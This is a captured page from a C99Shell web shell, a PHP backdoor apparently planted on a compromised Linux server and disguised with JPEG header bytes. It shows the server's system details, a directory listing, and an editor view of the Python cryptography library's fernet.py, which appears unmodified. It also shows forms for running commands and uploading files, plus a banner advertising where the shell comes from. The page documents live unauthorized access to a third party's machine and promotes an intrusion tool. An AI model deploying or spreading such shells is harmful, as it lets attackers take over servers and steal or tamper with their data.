93.127.197.210 - C99Shell

? ???Ё¤ JFIF ?? ? ( %!1!%*+...983,7(-.- ????Ё¤ JFIF ?? ? ( %!1!%*+...983,7(-.- 93.127.197.210 - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux srv582196 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64 User: www-data Software: nginx/1.24.0 IP: 93.127.197.210 PHP: 8.3.6 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/lib/python3/dist-packages/cryptography/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux srv582196 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64

User: www-data

Software: nginx/1.24.0

IP: 93.127.197.210

PHP: 8.3.6

CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF

/usr/lib/python3/dist-packages/cryptography/

Edit File: fernet.py

# This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.

from __future__ import annotations

import base64
import binascii
import os
import time
import typing

from cryptography import utils
from cryptography.exceptions import InvalidSignature
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.hmac import HMAC

class InvalidToken(Exception):
    pass

_MAX_CLOCK_SKEW = 60

class Fernet:
    def __init__(
        self,
        key: typing.Union[bytes, str],
        backend: typing.Any = None,
    ) -> None:
        try:
            key = base64.urlsafe_b64decode(key)
        except binascii.Error as exc:
            raise ValueError(
                "Fernet key must be 32 url-safe base64-encoded bytes."
            ) from exc
        if len(key) != 32:
            raise ValueError(
                "Fernet key must be 32 url-safe base64-encoded bytes."
            )

self._signing_key = key[:16]
        self._encryption_key = key[16:]

@classmethod
    def generate_key(cls) -> bytes:
        return base64.urlsafe_b64encode(os.urandom(32))

def encrypt(self, data: bytes) -> bytes:
        return self.encrypt_at_time(data, int(time.time()))

def encrypt_at_time(self, data: bytes, current_time: int) -> bytes:
        iv = os.urandom(16)
        return self._encrypt_from_parts(data, current_time, iv)

def _encrypt_from_parts(
        self, data: bytes, current_time: int, iv: bytes
    ) -> bytes:
        utils._check_bytes("data", data)

padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data) + padder.finalize()
        encryptor = Cipher(
            algorithms.AES(self._encryption_key),
            modes.CBC(iv),
        ).encryptor()
        ciphertext = encryptor.update(padded_data) + encryptor.finalize()

basic_parts = (
            b"\x80"
            + current_time.to_bytes(length=8, byteorder="big")
            + iv
            + ciphertext
        )

h = HMAC(self._signing_key, hashes.SHA256())
        h.update(basic_parts)
        hmac = h.finalize()
        return base64.urlsafe_b64encode(basic_parts + hmac)

def decrypt(
        self, token: typing.Union[bytes, str], ttl: typing.Optional[int] = None
    ) -> bytes:
        timestamp, data = Fernet._get_unverified_token_data(token)
        if ttl is None:
            time_info = None
        else:
            time_info = (ttl, int(time.time()))
        return self._decrypt_data(data, timestamp, time_info)

def decrypt_at_time(
        self, token: typing.Union[bytes, str], ttl: int, current_time: int
    ) -> bytes:
        if ttl is None:
            raise ValueError(
                "decrypt_at_time() can only be used with a non-None ttl"
            )
        timestamp, data = Fernet._get_unverified_token_data(token)
        return self._decrypt_data(data, timestamp, (ttl, current_time))

def extract_timestamp(self, token: typing.Union[bytes, str]) -> int:
        timestamp, data = Fernet._get_unverified_token_data(token)
        # Verify the token was not tampered with.
        self._verify_signature(data)
        return timestamp

@staticmethod
    def _get_unverified_token_data(
        token: typing.Union[bytes, str]
    ) -> typing.Tuple[int, bytes]:
        if not isinstance(token, (str, bytes)):
            raise TypeError("token must be bytes or str")

try:
            data = base64.urlsafe_b64decode(token)
        except (TypeError, binascii.Error):
            raise InvalidToken

if not data or data[0] != 0x80:
            raise InvalidToken

if len(data) < 9:
            raise InvalidToken

timestamp = int.from_bytes(data[1:9], byteorder="big")
        return timestamp, data

def _verify_signature(self, data: bytes) -> None:
        h = HMAC(self._signing_key, hashes.SHA256())
        h.update(data[:-32])
        try:
            h.verify(data[-32:])
        except InvalidSignature:
            raise InvalidToken

def _decrypt_data(
        self,
        data: bytes,
        timestamp: int,
        time_info: typing.Optional[typing.Tuple[int, int]],
    ) -> bytes:
        if time_info is not None:
            ttl, current_time = time_info
            if timestamp + ttl < current_time:
                raise InvalidToken

if current_time + _MAX_CLOCK_SKEW < timestamp:
                raise InvalidToken

self._verify_signature(data)

iv = data[9:25]
        ciphertext = data[25:-32]
        decryptor = Cipher(
            algorithms.AES(self._encryption_key), modes.CBC(iv)
        ).decryptor()
        plaintext_padded = decryptor.update(ciphertext)
        try:
            plaintext_padded += decryptor.finalize()
        except ValueError:
            raise InvalidToken
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()

unpadded = unpadder.update(plaintext_padded)
        try:
            unpadded += unpadder.finalize()
        except ValueError:
            raise InvalidToken
        return unpadded

class MultiFernet:
    def __init__(self, fernets: typing.Iterable[Fernet]):
        fernets = list(fernets)
        if not fernets:
            raise ValueError(
                "MultiFernet requires at least one Fernet instance"
            )
        self._fernets = fernets

def encrypt(self, msg: bytes) -> bytes:
        return self.encrypt_at_time(msg, int(time.time()))

def encrypt_at_time(self, msg: bytes, current_time: int) -> bytes:
        return self._fernets[0].encrypt_at_time(msg, current_time)

def rotate(self, msg: typing.Union[bytes, str]) -> bytes:
        timestamp, data = Fernet._get_unverified_token_data(msg)
        for f in self._fernets:
            try:
                p = f._decrypt_data(data, timestamp, None)
                break
            except InvalidToken:
                pass
        else:
            raise InvalidToken

iv = os.urandom(16)
        return self._fernets[0]._encrypt_from_parts(p, timestamp, iv)

def decrypt(
        self, msg: typing.Union[bytes, str], ttl: typing.Optional[int] = None
    ) -> bytes:
        for f in self._fernets:
            try:
                return f.decrypt(msg, ttl)
            except InvalidToken:
                pass
        raise InvalidToken

def decrypt_at_time(
        self, msg: typing.Union[bytes, str], ttl: int, current_time: int
    ) -> bytes:
        for f in self._fernets:
            try:
                return f.decrypt_at_time(msg, ttl, current_time)
            except InvalidToken:
                pass
        raise InvalidToken

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
__about__.py	445 B	14.03.2026 12:18:05	0/0	-rw-r--r--	Edit Rename Download
__init__.py	364 B	14.03.2026 12:18:05	0/0	-rw-r--r--	Edit Rename Download
__pycache__	DIR	01.05.2026 06:38:50	0/0	drwxr-xr-x	Edit Rename
exceptions.py	1.09 KB	14.03.2026 12:18:05	0/0	-rw-r--r--	Edit Rename Download
fernet.py	6.72 KB	14.03.2026 12:18:05	0/0	-rw-r--r--	Edit Rename Download
hazmat	DIR	01.05.2026 06:38:50	0/0	drwxr-xr-x	Edit Rename
py.typed	0 B	14.03.2026 12:18:05	0/0	-rw-r--r--	Edit Rename Download
utils.py	3.92 KB	14.03.2026 12:18:05	0/0	-rw-r--r--	Edit Rename Download
x509	DIR	01.05.2026 06:38:50	0/0	drwxr-xr-x	Edit Rename

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1780012134.1832 ]--